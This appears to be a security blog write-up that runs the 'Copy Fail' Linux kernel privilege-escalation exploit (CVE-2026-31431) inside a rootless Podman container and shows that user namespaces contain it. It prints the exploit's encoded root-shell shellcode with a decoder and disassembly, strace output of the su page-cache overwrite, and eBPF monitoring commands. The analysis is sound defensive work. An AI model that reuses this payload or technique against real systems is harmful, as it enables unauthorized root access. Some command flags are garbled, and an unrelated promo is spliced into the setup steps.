CVE-2026-31431 Copy Fail in Rootless Containers
A recent lab experiment confirmed that rootless Podman blocks CVE-2026-31431, dubbed Copy Fail, from achieving host-level privilege escalation. The test involved running the public exploit inside a container, tracing its actions, and observing kernel responses. This setup matches the configuration used on GNOME's GitLab runners, proving the containment works as designed.
Vulnerability Details
CVE-2026-31431 exploits a flaw in scatterlist handling during cryptographic operations. For complete root cause explanation, scatterlist details, and disclosure history, see Theori's post at xint.io/blog/copy-fail-linux-distributions. This article focuses on examining the exploit's shellcode, running it in a controlled rootless container environment, and monitoring kernel-level interactions.
Podman is an open-source tool for managing OCI containers, developed by Red Hat as a daemonless alternative to Docker. Rootless mode runs containers under unprivileged user namespaces, enhancing security by mapping container root to a non-privileged host UID.
Shellcode Examination
Many users executed the exploit without inspecting its payload, a risky move since unaudited code from GitHub could include data theft or backdoors. The Python script embeds shellcode as a zlib-compressed, hex-encoded string:
78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3
Extract it with this Python code:
#!/usr/bin/env python3
import zlib
hex_str = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
compressed_bytes = bytes.fromhex(hex_str)
raw_payload = zlib.decompress(compressed_bytes)
with open("shellcode.bin", "wb") as f:
f.write(raw_payload)
print(f"Payload extracted: {len(raw_payload)} bytes")
The file command identifies it as: shellcode.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked...
The exploit replaces the start of /usr/bin/su with this ELF binary. When su runs, it loads the altered page cache pages and executes the malicious code.
Standard objdump -d fails due to ELF golfing, which removes section headers to shrink size. Use objdump -D -b binary -m i386:x86-64 shellcode.bin for disassembly.
Ignore the first 0x77 bytes of ELF header junk. Code starts at offset 0x78.
setuid(0) syscall (0x78-0x7e):
78: 31 c0 xor %eax,%eax 79: 31 ff xor %edi,%edi 7c: b0 69 mov $0x69,%al 7e: 0f 05 syscall
This clears rdi to 0, loads syscall 105 (setuid), and calls it.
execve("/bin/sh") (0x80-0x8d):
80: 48 8d 3d 0f 00 00 00 lea 0xf(%rip),%rdi 87: 31 f6 xor %esi,%esi 89: 6a 3b push $0x3b 8b: 58 pop %rax 8c: 99 cltd 8d: 0f 05 syscall
RIP-relative load points to /bin/sh at 0x96. Sets argv and envp to NULL, loads execve (59).
Clean exit (0x8f-0x94):
8f: 31 ff xor %edi,%edi 91: 6a 3c push $0x3c 93: 58 pop %rax 94: 0f 05 syscall
Calls exit(0) if execve fails.
String at 0x96-0x9d: 2f 62 69 6e 2f 73 68 00 decodes to /bin/sh\0.
Lab Environment Setup
A Fedora 43 VM used kernel 6.17.1-300.fc43.x86_64, vulnerable since fixes started in 6.19.12.
VM creation command:
virt-install
, name cve-2026-31431
, vcpus 4
, memory 4096
, disk path=/var/lib/libvirt/images/cve-2026-31431.qcow2,size=20,bus=virtio,format=qcow2
, network bridge=virbr0,model=virtio
, location 'https://download.fedoraproject.org/pub/fedora/linux/releases/43/Everything/x86_64/os/'
, initrd-inject=/tmp/vm.ks
, extra-args="inst.ks=file:/vm.ks console=ttyS0,115200n8"
, graphics none
Rootless Podman Configuration
Installed Podman on the VM for the podman user with sub-UID/GID 100000-165535, linger enabled, and pasta networking.
Commands:
dnf install -y podman
Stay ahead of the AI curve
The most important updates, news, and content — delivered weekly.
No spam. Unsubscribe anytime.
useradd -m podman
usermod , add-subuids 100000-165535 , add-subgids 100000-165535 podman
loginctl enable-linger podman
su - podman -c 'podman run , rm alpine echo "Rootless Podman is working!"'
GNOME is a popular open-source desktop environment; its GitLab runners use this exact Podman setup for CI jobs.
Exploit Execution in Container
Ran container with , cap-add=SYS_PTRACE and , security-opt seccomp=unconfined for strace. Mounted exploit directory as /vuln.
podman run , rm -it
, cap-add=SYS_PTRACE
, security-opt seccomp=unconfined
-v $(pwd):/vuln:Z
-w /vuln
fedora:43 bash
Inside: dnf install -y strace python3 su -y; useradd testuser; chown testuser:testuser copy_fail_exp.py; cp /root/copy_fail_exp.py /home/testuser
su - testuser -c "strace -f -e trace=socket,bind,setsockopt,sendmsg,splice,execve,setuid -o python_trace.txt python3 copy_fail_exp.py"
Avoid curl | python3; download and review code first.
Exploit Tracing
Strace shows AF_ALG socket creation, bind to authencesn(hmac(sha256),cbc(aes)), key sets, and sendmsg/splice loops overwriting /usr/bin/su page cache four bytes at a time.
Sample:
169 socket(AF_ALG, SOCK_SEQPACKET|SOCK_CLOEXEC, 0) = 4 169 bind(4, {sa_family=AF_ALG, salg_type="aead", salg_feat=0, salg_mask=0, salg_name="authencesn(hmac(sha256),cbc(aes))"}, 88) = 0 169 setsockopt(4, SOL_ALG, ALG_SET_KEY, "\10\0\1\0...", 40) = 0 169 setsockopt(4, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4) = 0 169 sendmsg(5, {msg_iov=[{iov_base="AAAA\177ELF", iov_len=8}]}, MSG_MORE) = 8 169 splice(3, [0], 7, NULL, 4, 0) = 4 169 splice(6, NULL, 5, NULL, 4, 0) = 4
splice pulls su pages into crypto buffer; kernel writeback injects payload, bypassing permissions.
Ends with execve("/usr/sbin/su"), then execve("/bin/sh").
Containment by Rootless Containers
Exploit succeeds inside: su runs shellcode, setuid(0) works, prompt becomes [root@ce307d49e132 testuser]#. But user namespaces map container UID 0 to host UID 1000 (podman user). No host privileges gained; cannot touch /etc/shadow or host files.
eBPF Kernel Monitoring
Strace misses setuid due to secureexec ptrace limits on SUID binaries. bpftrace on host captures it:
bpftrace -e ' tracepoint:syscalls:sys_enter_setuid /comm == "su"/ { printf("Process %d (%s) attempting setuid(%d)...\n", pid, comm, args->uid); } tracepoint:syscalls:sys_exit_setuid /comm == "su"/ { printf("...Kernel responded with: %d\n", args->ret); }'
Outputs: Process 27122 (su) attempting setuid(0)... ...Kernel responded with: -1 (strace case, EPERM). Process 27419 (su) attempting setuid(0)... ...Kernel responded with: 0 (native, succeeds inside namespace).
UID Mapping Verification
Inside container: cat /proc/self/uid_map 0 1000 1 1 100000 65536 65537 524288 65536
Container root = host 1000. Host ps shows sleep 100 owned by podman.
Key Takeaways
Rootless containers contained the exploit perfectly. Page cache overwrite, shellcode run, setuid success, all trapped by namespaces. This justifies GNOME's runner setup, though microVMs like Cloud Hypervisor are next.
OpenShift users: Enable user namespaces from 4.20 for similar protection against kernel LPEs.
Edit (May 5, 2026): Page cache sharing across containers risks poisoning shared image layers, breaking isolation. Consider CargoWall-like eBPF for GitLab CI to block DNS/egress.
Rootless still raises exploit bar significantly.
